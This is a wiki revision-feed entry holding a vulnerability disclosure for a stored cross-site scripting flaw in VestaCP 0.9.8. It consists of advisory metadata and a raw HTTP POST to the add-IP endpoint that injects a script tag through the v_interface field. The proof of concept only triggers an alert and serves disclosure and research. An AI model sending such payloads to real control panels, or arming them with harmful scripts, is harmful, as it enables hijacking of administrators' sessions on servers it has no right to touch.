https://pwnwiki.com/index.php?action=history&feed=atom&title=VestaCP_0.9.8_XSS%E6%BC%8F%E6%B4%9E 2026-04-20T23:35:49Z Revision history for this page on the wiki MediaWiki 1.35.1 https://pwnwiki.com/index.php?title=VestaCP_0.9.8_XSS%E6%BC%8F%E6%B4%9E&diff=1254&oldid=prev 2021-04-08T09:13:27Z

<p>Created page with &quot;==XSS== &lt;pre&gt; # Title: VestaCP 0.9.8 - &#039;v_interface&#039; Add IP Stored XSS # Date: 07.03.2021 # Author: Numan Türle # Vendor Homepage: https://vestacp.com # Software Link: https:...&quot;</p> <p><b>New page</b></p><div>==XSS==<br /> &lt;pre&gt;<br /> # Title: VestaCP 0.9.8 - 'v_interface' Add IP Stored XSS<br /> # Date: 07.03.2021<br /> # Author: Numan Türle<br /> # Vendor Homepage: https://vestacp.com<br /> # Software Link: https://myvestacp.com &lt; 0.9.8-26-43<br /> # Software Link: https://vestacp.com &lt; 0.9.8-26<br /> # Tested on: VestaCP<br /> <br /> POST /add/ip/ HTTP/1.1<br /> Host: TARGET:8083<br /> Connection: close<br /> Content-Length: 165<br /> Cache-Control: max-age=0<br /> Origin: https://TARGET:8083<br /> Content-Type: application/x-www-form-urlencoded<br /> User-Agent: USER-AGENT<br /> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9<br /> Referer: https://TARGET:8083/add/ip/<br /> Accept-Encoding: gzip, deflate<br /> Accept-Language: en,tr-TR;<br /> Cookie: PHPSESSID=udiudv2k0707d6k3p3fi1n1qk0<br /> sec-gpc: 1<br /> <br /> token=04331c937aeb2d203889b3fb86fa75b2&amp;ok=Add&amp;v_ip=90.7.3.1&amp;v_netmask=255.0.0.0&amp;v_interface=&lt;script&gt;alert(1)&lt;/script&gt;&amp;v_shared=on&amp;v_owner=admin&amp;v_name=&amp;v_nat=&amp;ok=Add<br /> &lt;/pre&gt;</div>

Pwnwiki